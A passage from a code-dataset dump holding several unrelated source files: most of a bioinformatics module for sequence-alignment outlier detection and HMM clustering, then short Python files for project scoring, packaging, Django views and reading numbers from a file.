pair[1] != '-':\r\n colScores.append(sumpairs_score(pair))\r\n elif pair[0] == '-' and pair[1] == '-': # Don't penalise an alignment that has a gap induced by another sequence\r\n continue\r\n elif set(msa[a][i:]) == {'-'}: # Don't penalise an alignment that has ended\r\n continue\r\n else: # If this induces a gap in another alignment or is gapped itself, penalise it\r\n gapCount += 1\r\n # Average column score with penalty for gaps\r\n if colScores != []:\r\n colScore = 1 - (sum(colScores) / len(colScores)) * (1 - (gapCount / len(msa[a]))) # 1 - (..) since we want this to be a measure of dissimilarity in line with what alfpy does\r\n #colScore = 1 - (sum(colScores) / len(colScores))\r\n else:\r\n colScore = 1\r\n spScore[-1].append(colScore)\r\n return spScore\r\n \r\n # Ensure msaFileNameList is correctly formatted\r\n if type(msaFileNameList) == str:\r\n msaFileNameList = [msaFileNameList]\r\n elif type(msaFileNameList) != list:\r\n print('msa_outlier_detect: msaFileNameList type is not recognisable. It should be a list, but instead it is ' + str(type(msaFileNameList)) + '.')\r\n print('Fix your input and try again.')\r\n quit()\r\n if msaFileNameList == []:\r\n print('msa_outlier_detect: msaFileNameList is empty. I don\\'t know what to do in this situation since it shouldn\\'t happen.')\r\n print('Code your call to this function properly to skip it.')\r\n quit()\r\n # Ensure statsSave is correctly formatted\r\n if statsSave != True and statsSave != False:\r\n print('msa_outlier_detect: statsSave should equal True or False, not ' + str(statsSave) + '.')\r\n print('Fix your input and try again.')\r\n quit()\r\n # Ensure removeIdentical is correctly formatted\r\n if removeIdentical != True and removeIdentical != False:\r\n print('msa_outlier_detect: removeIdentical should equal True or False, not ' + str(removeIdentical) + '.')\r\n print('Fix your input and try again.')\r\n quit()\r\n # Loop through MSA files and try to identify outliers\r\n outlierDict = {}\r\n ongoingCount = 0\r\n for fileName in msaFileNameList:\r\n msa = AlignIO.read(fileName, 'fasta')\r\n # Remove identical sequences if relevant [these can skew our pairwise scoring matrix if highly similar sequence bits slip through]\r\n if removeIdentical == True:\r\n madeChanges = False\r\n newMsa = MultipleSeqAlignment([])\r\n identicalPairs = []\r\n for y in range(len(msa)):\r\n for z in range(len(msa)):\r\n if y == z:\r\n continue\r\n elif msa[y].seq == msa[z].seq:\r\n identicalPairs.append([y, z])\r\n if identicalPairs != []:\r\n # Define our full identical group(s)\r\n removeGroups = [identicalPairs[0]] # Seed removeGroups with our first pair\r\n for pair in identicalPairs:\r\n for n in range(len(identicalPairs)):\r\n if pair[0] in identicalPairs[n] or pair[1] in identicalPairs[n]:\r\n if pair[0] not in identicalPairs[n]:\r\n identicalPairs[n].append(pair[0])\r\n elif pair[1] not in identicalPairs[n]:\r\n identicalPairs[n].append(pair[1])\r\n else:\r\n removeGroups.append(pair)\r\n # Remove all but one entry from each identical group from our newMsa\r\n for y in range(len(msa)):\r\n found = False\r\n for group in removeGroups:\r\n if y in group[1:]: # This means we can allow the first number in each removeGroup\r\n found = True\r\n break\r\n if found == False:\r\n newMsa.append(msa[y])\r\n if len(newMsa) > 2: # We don't want to work with a structure with less than 3 sequences since our pairwise scoring becomes less impactful. It's a bit arbitrary in some respects,\r\n madeChanges = True\r\n origMsaLen = len(msa)\r\n msa = newMsa # but this should help a domain model to not be overwhelmed by identical sequences while still letting us meaningfully use means and stdev for outlier detection.\r\n # Perform pairwise scoring\r\n spScore = pairwise_sumpairs_matrix(msa)\r\n spdm = np.array(spScore)\r\n # Cluster with HDBSCAN\r\n clusterer = hdbscan.HDBSCAN(metric='precomputed', cluster_selection_method = clustSelect, min_cluster_size = int(minSize), min_samples = int(minSample), allow_single_cluster = allowSingle)\r\n clusterer.fit(spdm)\r\n # Calculate basic statistics from pairwise scoring excluding HDBSCAN detected outliers\r\n if statsSave == True:\r\n spMeanList = []\r\n spAllMeansList = []\r\n for i in range(len(spScore)):\r\n spMean = statistics.mean(spScore[i][:i] + spScore[i][i+1:]) # Exclude self-match\r\n spAllMeansList.append(spMean)\r\n if clusterer.labels_[i] == -1:\r\n continue\r\n spMeanList.append(spMean)\r\n spMeansMean = statistics.mean(spMeanList)\r\n spMeansPsdt = statistics.stdev(spMeanList) # If len(spMeanList) == 1, stdev == 0. This makes it more likely we remove a legitimate sequence. TESTING: See if I should make this 10% of mean or something like that?\r\n # Convert HDBSCAN groups into boolean list of True == outlier, False == not outlier\r\n outlierList = []\r\n for i in range(len(clusterer.labels_)):\r\n label = clusterer.labels_[i]\r\n if label == -1 or (-1 not in clusterer.labels_ and 1 in clusterer.labels_): # If the second condition is True, HDBSCAN didn't find any outliers but it did find at least 2 separate clusters. In this case, it seems\r\n if statsSave == True: # appropriate to treat every sequence as a potential outlier, and use our statistical distribution to pick out huge outliers\r\n '''Note: This serves as a _really_ rough heuristic check to justify HDBSCAN's clustering decision. It involves \r\n a basic comparison using pstdev to see if this row's mean SP score is anomalous compared to others. At the start\r\n is an additional hard cut-off check to make sure we don't remove something \"a little bit\" different to a group of \r\n sequences that are otherwise very similar. I added this cut-off check as a result of manual inspection of results\r\n to prevent a mistake from happening to a specific cluster I was testing. The test scenario was this [0.26951219512195124,\r\n 0.33048780487804874, 0.2, 0.22073170731707314, 0.2182926829268293, 0.21707317073170732]. 0.33 was detected as an outlier,\r\n but 0.33 is still really similar for a SP score. 0.2 * 2 == 0.4, and this helps to rescue our example. 0.5 seems to\r\n be a point where the cluster is no longer highly homogenous.\r\n The second hard cut-off check was derived from [0.5294117647058824, 0.47500000000000003, 0.46029411764705885, 0.5042016806722689,\r\n 0.4613445378151261]. It exceeds our 0.5 cut-off so we want to be less lenient with it, but the first sequence is still\r\n quite similar to the others from manual inspection. 0.1 seems to be a good point where, even if the minimum mean is 0.5,\r\n a sequence with distance 0.6 to the others still looks \"normal\" in a MSA. 0.7 as the max for this cut-off is a bit\r\n arbitrary and it shouldn't really happen, but it's just to prevent any weirdness from happening (e.g., a cluster\r\n of 0.9 distances should not group with a 1.0 distance [even though a 0.9 cluster shouldn't exist])\r\n '''\r\n if spAllMeansList[i] < 0.5 and spAllMeansList[i] < min(spAllMeansList) * 2:\r\n outlierList.append(False)\r\n elif spAllMeansList[i] < 0.6 and spAllMeansList[i] < min(spAllMeansList) + 0.15: # This is another hard cut-off case derived from real data\r\n outlierList.append(False) # tldr; 0.45 and 0.6 are compatible in a cluster\r\n elif spAllMeansList[i] < 0.7 and spAllMeansList[i] < min(spAllMeansList) + 0.1:\r\n outlierList.append(False)\r\n elif spAllMeansList[i] > spMeansMean + (1.5*spMeansPsdt):\r\n outlierList.append(True)\r\n else:\r\n outlierList.append(False)\r\n else:\r\n outlierList.append(True)\r\n else:\r\n outlierList.append(False)\r\n # Add in previously deleted identical values if removeIdentical is specified and we made changes\r\n if removeIdentical == True:\r\n if madeChanges == True:\r\n for x in range(origMsaLen):\r\n found = False\r\n for group in removeGroups:\r\n if x in group[1:]:\r\n found = group\r\n if found != False:\r\n outlierList.insert(x, outlierList[found[0]]) # This took me a bit of mental effort to devise, then a bit more to understand why it worked, but it's quite simple\r\n outlierDict[ongoingCount] = outlierList # When we find an index that was removed, we just insert an identical copy of its remaining sequence result, the index of which is given by found[0]\r\n ongoingCount += 1\r\n return outlierDict\r\n\r\ndef outlier_dict_merge(dict1, dict2):\r\n # Ensure dict inputs are compatible\r\n if set(dict1.keys()) != set(dict2.keys()):\r\n print('outlier_dict_merge: dict1 and dict2 don\\'t have identical keys. This shouldn\\'t be true if they were produced using the same MSA file name list.')\r\n print('Fix your input and try again.')\r\n quit()\r\n # Merge into a new output dict\r\n mergedDict = {}\r\n for key in dict1.keys():\r\n value1 = dict1[key]\r\n value2 = dict2[key]\r\n if len(value1) != len(value2):\r\n print('outlier_dict_merge: values within dict1 and dict2 don\\'t have identical length. This shouldn\\'t be true if they were produced using the same MSA file name list.')\r\n print('Fix your input and try again. A bit of debug info is below.')\r\n print('Key = ' + str(key) + '. Value1 = ' + str(value1) + '. Value2 = ' + str(value2) + '.')\r\n quit()\r\n mergedList = []\r\n for i in range(len(value1)):\r\n if value1[i] == True and value2[i] == True: # If both outlier detection methods agree that it is an outlier, we mark it as outlier\r\n mergedList.append(True)\r\n else: # If they disagree whether it's an outlier or both agree it is not an outlier, we marked it as not outlier\r\n mergedList.append(False)\r\n mergedDict[key] = mergedList\r\n return mergedDict\r\n\r\ndef curate_msa_from_outlier_dict(outlierDict, msaFileNameList):\r\n # Set up\r\n from Bio import AlignIO\r\n from Bio.Align import MultipleSeqAlignment\r\n from Bio.Seq import Seq\r\n from Bio.Alphabet import SingleLetterAlphabet\r\n # Ensure msaFileNameList is correctly formatted\r\n if type(msaFileNameList) == str:\r\n msaFileNameList = [msaFileNameList]\r\n elif type(msaFileNameList) != list:\r\n print('curate_msa_from_outlier_dict: msaFileNameList type is not recognisable. It should be a list, but instead it is ' + str(type(msaFileNameList)) + '.')\r\n print('Fix your input and try again.')\r\n quit()\r\n if msaFileNameList == []:\r\n print('curate_msa_from_outlier_dict: msaFileNameList is empty. I don\\'t know what to do in this situation since it shouldn\\'t happen.')\r\n print('Code your call to this function properly to skip it.')\r\n quit()\r\n # Ensure outlierDict and msaFileNameList are compatible\r\n if len(outlierDict) != len(msaFileNameList):\r\n print('curate_msa_from_outlier_dict: msaFileNameList length is not identical to outlierDict length. This shouldn\\'t be true if they were produced using the same MSA file name list.')\r\n print('Fix your input and try again. A bit of debug info is below.')\r\n print('Len outlierDict = ' + str(len(outlierDict)) + '. Len msaFileNameList = ' + str(len(msaFileNameList)) + '.')\r\n quit()\r\n # Loop through msaFileNameList and make modifications to MSAs in place\r\n for i in range(len(msaFileNameList)):\r\n # Parse MSA and make sure it corresponds to outlierDict correctly\r\n msa = AlignIO.read(msaFileNameList[i], 'fasta')\r\n outlierList = outlierDict[i]\r\n if len(msa) != len(outlierList):\r\n print('curate_msa_from_outlier_dict: MSA file \"' + msaFileNameList[i] + '\" length is not the same as outlierDict entry. This shouldn\\'t be true if they were produced using the same MSA file name list.')\r\n print('Fix your input and try again.')\r\n quit()\r\n newMsa = MultipleSeqAlignment([])\r\n for y in range(len(msa)):\r\n if outlierList[y] == False:\r\n newMsa.append(msa[y])\r\n # If we dropped sequences, ensure that our newMsa still has more than one entry in it [Note: this should technically never happen]\r\n if len(newMsa) < 2:\r\n print('curate_msa_from_outlier_dict: MSA file \"' + msaFileNameList[i] + '\" after outlier removal has less than two entries. This shouldn\\'t be possible, so something is wrong with the code.')\r\n print('A bit of debug info is below.')\r\n print('Len msa = ' + str(len(msa)) + '. Len newMsa = ' + str(len(newMsa)) + '. outlistList = ' + str(outlierList) + '.')\r\n quit()\r\n # If we dropped sequences, make sure we don't have any blank columns now\r\n if len(newMsa) < len(msa):\r\n for a in range(len(newMsa[0].seq), 0, -1):\r\n col = newMsa[:,a-1]\r\n if set(col) == {'-'}:\r\n for b in range(len(newMsa)):\r\n newMsa[b].seq = Seq(str(newMsa[b].seq)[0:a-1] + str(newMsa[b].seq)[a:], SingleLetterAlphabet())\r\n # Produce our updated MSA fasta file\r\n with open(msaFileNameList[i], 'w') as fileOut:\r\n fileOut.write(newMsa.format('fasta'))\r\n\r\ndef file_name_gen(prefix, suffix):\r\n import os\r\n ongoingCount = 2\r\n while True:\r\n if not os.path.isfile(prefix + '1' + suffix):\r\n return prefix + '1' + suffix\r\n elif os.path.isfile(prefix + str(ongoingCount) + suffix):\r\n ongoingCount += 1\r\n else:\r\n return prefix + str(ongoingCount) + suffix\r\n\r\ndef cluster_hmms(msaFileList, outputDir, hmmer3dir, concatName):\r\n # Set up\r\n import os, subprocess\r\n # Build HMMs from MSA directory\r\n hmms = []\r\n for msa in msaFileList:\r\n msa = os.path.abspath(msa)\r\n outputFileName = msa.rsplit('.', maxsplit=1)[0] + '.hmm'\r\n hmms.append(outputFileName)\r\n # Format cmd\r\n cmd = os.path.join(hmmer3dir, 'hmmbuild') + ' \"' + os.path.join(outputDir, outputFileName) + '\" \"' + msa + '\"'\r\n # Run hmmbuild\r\n run_hmmbuild = subprocess.Popen(cmd, stdout = subprocess.DEVNULL, stderr = subprocess.PIPE, shell = True)\r\n hmmout, hmmerr = run_hmmbuild.communicate()\r\n if hmmerr.decode(\"utf-8\") != '':\r\n raise Exception('hmmbuild error text below\\n' + str(hmmerr.decode(\"utf-8\")) + '\\nMake sure that you define the -h3dir argument if this directory is not in your PATH')\r\n # Concatenate HMMs\r\n concatHMM = os.path.join(outputDir, concatName)\r\n with open(concatHMM, 'w') as fileOut:\r\n for hmm in hmms:\r\n fileOut.write(open(hmm, 'r').read())\r\n # Press HMMs\r\n cmd = os.path.join(hmmer3dir, 'hmmpress') + ' -f \"' + concatHMM + '\"'\r\n run_hmmpress = subprocess.Popen(cmd, stdout = subprocess.DEVNULL, stderr = subprocess.PIPE, shell = True)\r\n hmmout, hmmerr = run_hmmpress.communicate()\r\n if hmmerr.decode(\"utf-8\") != '':\r\n raise Exception('hmmpress error text below' + str(hmmerr.decode(\"utf-8\")))\r\n\r\ndef coord_dict_compare(currentCoordDict, prevCoordDict):\r\n # Set up\r\n import copy\r\n currentCoordDict = copy.deepcopy(currentCoordDict)\r\n prevCoordDict = copy.deepcopy(prevCoordDict)\r\n # Comparison 1: same keys?\r\n if set(currentCoordDict.keys()) != set(prevCoordDict.keys()):\r\n return True # This function asks the question \"Did anything change?\" - if this \"if\" statement is True, then the answer to this question is True\r\n # Comparison 2: same number of values associated with keys?\r\n for key in currentCoordDict.keys():\r\n currentVals = currentCoordDict[key]\r\n prevVals = prevCoordDict[key]\r\n if len(currentVals) != len(prevVals):\r\n return True\r\n # Comparison 3: very similar coords associated with keys?\r\n mergedCoords = coord_lists_merge([currentVals, prevVals], 5) # 5bp overlap means that minor alterations to coordinates won't matter, but substantial ones will\r\n if len(mergedCoords) != len(currentVals):\r\n return True\r\n # If we get to here, nothing much changed\r\n return False\r\n\r\ndef coord_lists_merge(coordLists, offsetNum): # offsetNum lets us specify increased stringency for overlaps; this is useful if we don't want 1 coord overlaps to cause merging\r\n # Pairwise coord list merging until a single list remains\r\n while len(coordLists) > 1: # This is our exit condition; we merge coord lists until we have one remaining\r\n # Merge two lists together\r\n for x in range(len(coordLists[0])-1,-1,-1):\r\n pair1 = coordLists[0][x]\r\n merged = False\r\n for y in range(len(coordLists[1])-1,-1,-1):\r\n pair2 = coordLists[1][y]\r\n # Detect overlap\r\n if pair1[1] >= pair2[0] + offsetNum and pair2[1] >= pair1[0] + offsetNum:\r\n # Merge coords\r\n start = min([pair1[0], pair2[0]])\r\n end = max([pair1[1], pair2[1]])\r\n coordLists[1][y] = [start, end]\r\n merged = True\r\n # If we couldn't merge the coord from [0] i.e., pair1, add it to [1]\r\n if merged == False:\r\n coordLists[1].append(pair1)\r\n # Delete the first list after it has been fully merged\r\n del coordLists[0]\r\n # Process the remaining list to merge self-overlaps\r\n coordList = coordLists[0] # We need to extract the last list entry out of the containing list since it's not needed anymore\r\n for x in range(len(coordList)-1,-1,-1):\r\n if x != 0:\r\n pair1 = coordList[x]\r\n pair2 = coordList[x-1]\r\n # Detect overlap\r\n if pair1[1] >= pair2[0] and pair2[1] >= pair1[0]:\r\n # Merge coords\r\n start = min([pair1[0], pair2[0]])\r\n end = max([pair1[1], pair2[1]])\r\n coordList[x-1] = [start, end]\r\n # Cull entry\r\n del coordList[x]\r\n # Sort coordList and return\r\n coordList.sort()\r\n return coordList\r\n\r\ndef coord_lists_overlap_cull(coordDict1, coordDict2, ovlPropCutoff): # In this function, coordDict1 is the static value used for comparison. coordList2 is what we are culling overlaps from using ovlPropCutoff as our criteria.\r\n # Ensure ovlPropCutoff is sensible\r\n try:\r\n ovlPropCutoff = float(ovlPropCutoff)\r\n except:\r\n print('coord_lists_overlap_cull: ovlPropCutoff needs to be a float or capable of conversion to float')\r\n print('Fix your input and try again.')\r\n quit()\r\n if not 0 <= ovlPropCutoff <= 1:\r\n print('coord_lists_overlap_cull: ovlPropCutoff needs to be a float from 0 -> 1.')\r\n print('Fix your formatting and try again.')\r\n quit()\r\n # Loop through coordDict2 and find overlaps\r\n for key, value2 in coordDict2.items():\r\n if key not in coordDict1:\r\n continue\r\n value1 = coordDict1[key] # I'm trying to keep consistent names; value1 comes from coordDict1\r\n # Compare all pairs from the lists of coords\r\n i = 0\r\n while True:\r\n dropped = False\r\n if i >= len(value2):\r\n break\r\n for x in range(len(value1)):\r\n pair1 = value1[x]\r\n pair2 = value2[i]\r\n if pair1[1] >= pair2[0] and pair2[1] >= pair1[0]:\r\n minTail = min(pair1[1], pair2[1])\r\n maxStart = max(pair1[0], pair2[0])\r\n ovlLen = minTail - maxStart + 1 # When we know two ranges overlap, minTail (end portion of range) - maxStart gives our overlap length; +1 to offset 1-based stuff since 100-1 == length of 100\r\n ovlProp1 = ovlLen / (pair1[1] - pair1[0] + 1)\r\n ovlProp2 = ovlLen / (pair2[1] - pair2[0] + 1)\r\n if ovlProp1 >= ovlPropCutoff or ovlProp2 >= ovlPropCutoff:\r\n del value2[i]\r\n dropped = True\r\n break\r\n if dropped == False:\r\n i += 1\r\n # Delete empty dict keys now\r\n for key in list(coordDict2.keys()):\r\n if coordDict2[key] == []:\r\n del coordDict2[key]\r\n return coordDict2\r\n \r\n\r\ndef thread_file_name_gen(prefix, threadNum):\r\n import os\r\n ongoingCount = 0\r\n while True:\r\n if not os.path.isfile(prefix + threadNum):\r\n return prefix + threadNum\r\n elif os.path.isfile(prefix + threadNum + '.' + str(ongoingCount)):\r\n ongoingCount += 1\r\n else:\r\n return prefix + threadNum + '.' + str(ongoingCount)\r\n\r\ndef run_hammock(hammockDir, javaDir, outputDir, threads, inputFasta):\r\n import os, subprocess, shutil\r\n # Remove output directory if it exists\r\n '''Hammock will instantly die if the folder exists. Since it is possible that a Hammock run will be interrupted,\r\n leaving the output folder intact, we need to remove it before we start the program run. Of course, this negates\r\n the whole reason for Hammock's behaviour (i.e., caution) but what can we do? Ideally, the user isn't doing things\r\n within the hammock_out folder...'''\r\n if os.path.isdir(outputDir):\r\n shutil.rmtree(outputDir)\r\n # Format command\r\n tmpDir = os.path.join(outputDir, 'tmp')\r\n cmd = os.path.join(javaDir, 'java') + ' -jar ' + os.path.join(hammockDir, 'Hammock.jar') + ' full -i {} -d {} -t {} --tmp {}'.format(*[inputFasta, outputDir, threads, tmpDir])\r\n # Run Hammock\r\n run_hammock = subprocess.Popen(cmd, stdout = subprocess.PIPE, stderr = subprocess.PIPE, shell = True)\r\n hammout, hammerr = run_hammock.communicate()\r\n # Ensure Hammock finished successfully [it writes everything to stderr, so it's difficult for us to, at a glance, figure out if any errors actually occurred; we need to parse stderr specifically\r\n checks = [False, False, False]\r\n for line in hammerr.decode(\"utf-8\").split('\\n'):\r\n if 'final_clusters' in line:\r\n checks[0] = True\r\n elif 'Final system KLD over match' in line:\r\n checks[1] = True\r\n elif 'Final system KLD over all MSA' in line:\r\n checks[2] = True\r\n if not checks == [True, True, True]:\r\n print(checks)\r\n raise Exception('Hammock error text below' + str(hammerr.decode(\"utf-8\")))\r\n\r\ndef parse_hammock(hammockOutFile, originalFasta): # originalFasta refers to the fasta file used for running Hammock; we can pair sequence IDs back up by using Hammock's original_order.tsv file\r\n # Set up\r\n from Bio import SeqIO\r\n groupDict = {}\r\n unclustDict = {0: []}\r\n records = SeqIO.parse(open(originalFasta, 'r'), 'fasta')\r\n # Read through Hammock's output file\r\n with open(hammockOutFile, 'r') as fileIn:\r\n fileIn.readline() # Skip the header line\r\n for line in fileIn:\r\n sl = line.split('\\t')\r\n # Find out the sequence ID for this sequence\r\n for record in records:\r\n seqid = record.description\r\n break\r\n # Skip unclustered sequences\r\n if sl[0] == 'NA':\r\n unclustDict[0].append(seqid)\r\n continue\r\n # Add to our groupDict\r\n if sl[0] in groupDict:\r\n groupDict[sl[0]].append(seqid)\r\n else:\r\n groupDict[sl[0]] = [seqid]\r\n # Cull single-entry clusters and rename clusters\r\n ongoingCount = 0 # This will be our cluster number iterator\r\n dictKeys = list(groupDict.keys())\r\n originallyEmpty = True\r\n for key in dictKeys:\r\n originallyEmpty = False # This lets us assess whether our groupDict was always empty; if we enter this loop and then groupDict == {}, we know that we deleted a cluster\r\n if len(groupDict[key]) == 1: # This is useful since, if Hammock gives all NAs for clusters, it probably means it's a single cluster; if it wasn't all NA's, then there probably isn't a cluster at all\r\n del groupDict[key]\r\n continue\r\n # Find out the cluster ID for this sequence\r\n clustNum = ongoingCount\r\n ongoingCount += 1\r\n # Rename the dict key\r\n groupDict[clustNum] = groupDict.pop(key)\r\n # Return our clusters if identified; otherwise, return the unclustDict object [not finding any clusters means there aren't any, or there is only 1]\r\n if groupDict != {}:\r\n return groupDict\r\n elif originallyEmpty == True:\r\n return unclustDict\r\n else:\r\n return None\r\n\r\ndef parse_mms2tab_to_clusters(mms2Table):\r\n import math\r\n '''Note: Function currently assumes\r\n file is sorted by E-value.\r\n '''\r\n clustDict = {}\r\n newClustNumber = 0\r\n idPointerDict = {}\r\n evalueDict = {}\r\n EVALUE_REDUCTION = 2\r\n EVALUE_SAFETY_NET = -15 # REALLY arbitrary, might help clusters a bit?\r\n def update_cluster_evalues(clustDict, evalueDict, clustNumber, newEvalue):\r\n clustList = clustDict[clustNumber]\r\n for sid in clustList:\r\n evalueDict[sid] = max([evalueDict[sid], newEvalue])\r\n \r\n # Load in file as a groupby iterator\r\n with open(mms2Table, 'r') as fileIn:\r\n for line in fileIn:\r\n if line == \"\\n\":\r\n continue\r\n sl = line.rstrip(\"\\r\\n\").split(\"\\t\")\r\n qid = sl[0]\r\n tid = sl[1]\r\n evalue = float(sl[10])\r\n # Skip self hits\r\n if qid == tid:\r\n continue\r\n # New qid hits\r\n if qid not in idPointerDict:\r\n # New qid + new tid hits\r\n if tid not in idPointerDict:\r\n # Handle qid\r\n clustDict[newClustNumber] = [qid, tid]\r\n idPointerDict[qid] = newClustNumber\r\n evalueDict[qid] = evalue\r\n # Handle tid\r\n idPointerDict[tid] = newClustNumber\r\n evalueDict[tid] = evalue\r\n newClustNumber += 1\r\n # New qid + old tid hits\r\n else:\r\n passableEvalue = max([math.log10(evalueDict[tid]) / EVALUE_REDUCTION, EVALUE_SAFETY_NET])\r\n if math.log10(evalue) <= passableEvalue:\r\n # Obtain clustNumber\r\n clustNumber = idPointerDict[tid]\r\n # Handle qid\r\n evalueDict[qid] = evalue\r\n idPointerDict[qid] = clustNumber\r\n # Update tid cluster\r\n clustDict[clustNumber].append(qid)\r\n update_cluster_evalues(clustDict, evalueDict, clustNumber, evalue)\r\n # Old qid hits\r\n elif qid in idPointerDict:\r\n # Old qid + new tid hits\r\n if tid not in idPointerDict:\r\n passableEvalue = max([math.log10(evalueDict[qid]) / EVALUE_REDUCTION, EVALUE_SAFETY_NET])\r\n if math.log10(evalue) <= passableEvalue:\r\n # Obtain clustNumber\r\n clustNumber = idPointerDict[qid]\r\n # Handle tid\r\n evalueDict[tid] = evalue\r\n idPointerDict[tid] = clustNumber\r\n # Update qid cluster\r\n clustDict[clustNumber].append(tid)\r\n update_cluster_evalues(clustDict, evalueDict, clustNumber, evalue)\r\n # Old qid + old tid hits\r\n else:\r\n # Check if E-value is compatible\r\n passableEvalue1 = max([math.log10(evalueDict[qid]) / EVALUE_REDUCTION, EVALUE_SAFETY_NET])\r\n passableEvalue2 = max([math.log10(evalueDict[tid]) / EVALUE_REDUCTION, EVALUE_SAFETY_NET])\r\n if math.log10(evalue) <= passableEvalue1 and math.log10(evalue) <= passableEvalue2:\r\n # Obtain clustNumbers\r\n clustNumber1 = idPointerDict[qid]\r\n clustNumber2 = idPointerDict[tid]\r\n # Skip inverse cluster scenario\r\n if clustNumber1 == clustNumber2:\r\n continue\r\n # Merge clusters\r\n clustDict[clustNumber1] += clustDict[clustNumber2]\r\n clustDict[clustNumber1] = list(set(clustDict[clustNumber1]))\r\n # Update pointers\r\n for sid in clustDict[clustNumber2]:\r\n idPointerDict[sid] = clustNumber1\r\n del clustDict[clustNumber2]\r\n # Update cluster evalues\r\n update_cluster_evalues(clustDict, evalueDict, clustNumber1, evalue)\r\n # Update cluster numbers for uniformity\r\n finalClustDict = {}\r\n ongoingCount = 0\r\n for key, value in clustDict.items():\r\n finalClustDict[ongoingCount] = value\r\n ongoingCount += 1\r\n return finalClustDict\r\n","repo_name":"zkstewart/CANDID","sub_path":"domfind/domclust.py","file_name":"domclust.py","file_ext":"py","file_size_in_byte":78431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"6585891516","text":"from ClaseIntegranteProyecto import IntegranteProyecto\nimport csv\nimport rutaAbsoluta\n\nclass ManejadorIntegrantesProyecto:\n categorias = [\"I\", \"II\", \"III\", \"IV\"]\n roles = [\"director\", \"codirector\", \"integrante\"]\n __integrantesProyecto = []\n \n def __init__(self):\n self.__integrantesProyecto = []\n \n def CargarDesdeArchivo(self, nombreArchivo):\n rutaArchivo = rutaAbsoluta.getRutaAbsoluta(nombreArchivo, __file__)\n archivo = open(rutaArchivo)\n reader = csv.reader(archivo, delimiter=';')\n band = True\n for fila in reader:\n if band:\n band = False\n elif fila[2].isdigit() and 1<=int(fila[2]) and (fila[3] in self.categorias) and (fila[4] in self.roles):\n unIntegranteProyecto = IntegranteProyecto(fila[0], fila[1], int(fila[2]), fila[3], fila[4])\n self.__integrantesProyecto.append(unIntegranteProyecto)\n archivo.close()\n\n def ConsultarIntegrantes(self, id):\n cont = 0\n for unIntegrante in self.__integrantesProyecto:\n if unIntegrante.ConsultarId() == id:\n cont += 1\n return(3 <= cont)\n\n def ConsultarMiembro(self, id, rol, categorias = [\"I\", \"II\", \"III\", \"IV\"]):\n cumple = False\n if type(categorias) == list:\n for unIntegrante in self.__integrantesProyecto:\n if unIntegrante.ConsultarId() == id and unIntegrante.ConsultarRol() == rol and unIntegrante.ConsultarCategoria() in categorias:\n cumple = True\n break\n return(cumple)\n\n\n\n def CalcularPuntaje(self, id):\n puntos = 0\n \n if self.ConsultarIntegrantes(id):\n puntos += 10\n else:\n puntos -= 20\n print(\"El Proyecto debe tener como mínimo 3 integrantes\")\n \n if self.ConsultarMiembro(id, \"director\", [\"I\", \"II\"]):\n puntos += 10\n else:\n puntos -= 5\n print(\"El Director del Proyecto debe tener categoria I o II\")\n\n if self.ConsultarMiembro(id, \"codirector\", [\"I\", \"II\", \"III\"]):\n puntos += 10\n else:\n puntos -= 5\n print(\"El Codirector del Proyecto debe tener como mínimo categoría III\")\n\n director = self.ConsultarMiembro(id, \"director\")\n\n if not director:\n print(\"El Proyecto debe tener un Director\")\n \n codirector = self.ConsultarMiembro(id, \"codirector\")\n\n if not codirector:\n print(\"El Proyecto debe tener un Codirector\")\n \n if (not director) or (not codirector):\n puntos -= 10\n \n return (puntos)","repo_name":"ignacio745/Integrador","sub_path":"ClaseManejadorIntegrantesProyecto.py","file_name":"ClaseManejadorIntegrantesProyecto.py","file_ext":"py","file_size_in_byte":2682,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"71125087944","text":"#!/usr/bin/env python\nfrom setuptools import find_packages, setup\n\nwith open(\"README.md\", \"r\") as fh:\n README_CONTENT = fh.read()\n\nsetup(\n name=\"sample-python-versioning\",\n version_format='{tag}+{gitsha}',\n setup_requires=['setuptools-git-version'],\n author=\"Serhii Shepel\",\n author_email=\"serhiy.shepel@gmail.com\",\n description=\"Sample application\",\n long_description=README_CONTENT,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/Squallman/sample-python-versioning\",\n packages=find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"Operating System :: OS Independent\",\n ],\n python_requires='>=3.6',\n install_requires=['python-dateutil==2.8.1', 'boto3==1.11.8'],\n)","repo_name":"Squallman/sample-python-versioning","sub_path":"src/greetings_utils/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"70323990985","text":"from django.shortcuts import render,redirect\nfrom django.views.generic import TemplateView\n\n# Create your views here.\n\nclass Index(TemplateView):\n template_name = \"index.html\"\n \n \nclass Display(TemplateView):\n def get(self,request,**kwargs):\n aid = request.GET['aid']\n name = request.GET['name']\n age = request.GET['age']\n address = request.GET['address']\n d = {'aid':aid,'name':name,'age':age,'address':address}\n with open('details.txt','a+') as fp:\n fp.write(str(d))\n return render(request,'display.html',d)\n \n \n \n ","repo_name":"gnsaddy/RVCE","sub_path":"ThirdSemester/Advance_oops/practise/alumni/src/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"27790359810","text":"try:\n r_file = open(\"D:/ass-3/auto-random-output.txt\", 'r')\n \n # This below is the program to read the file \n sumof_ran_numbers = 0\n count_ran_numbers = 0\n \n for numbers_line in r_file.readlines():\n sumof_ran_numbers += int(numbers_line) #read each line and typecast to int and calulate the sum\n count_ran_numbers += 1 #counter to get the number of random numbers in the file\n line = r_file.readline().rstrip(\"\\n\")\n \n #print the results \n print(\"The total of the numbers: \" + str(count_ran_numbers))\n print(\"The number of random numbers read from the file: \" + str(sumof_ran_numbers))\n \n #close the file once the reading is completed\n r_file.close() \n#exception handling for file not found or file already opened\nexcept IOError as e:\n print (\"please close the opened file or please check the file is not exist %s\", e)\n#exception handling for type casting invalid data to the integer please check \nexcept ValueError:\n print (\"Could not convert data to an integer.\")\n","repo_name":"santhi-2020/assignments-","sub_path":"rand_num_with_exception.py","file_name":"rand_num_with_exception.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"19281760690","text":"import os\r\n\r\nf = open(os.getcwd()+\"\\Day 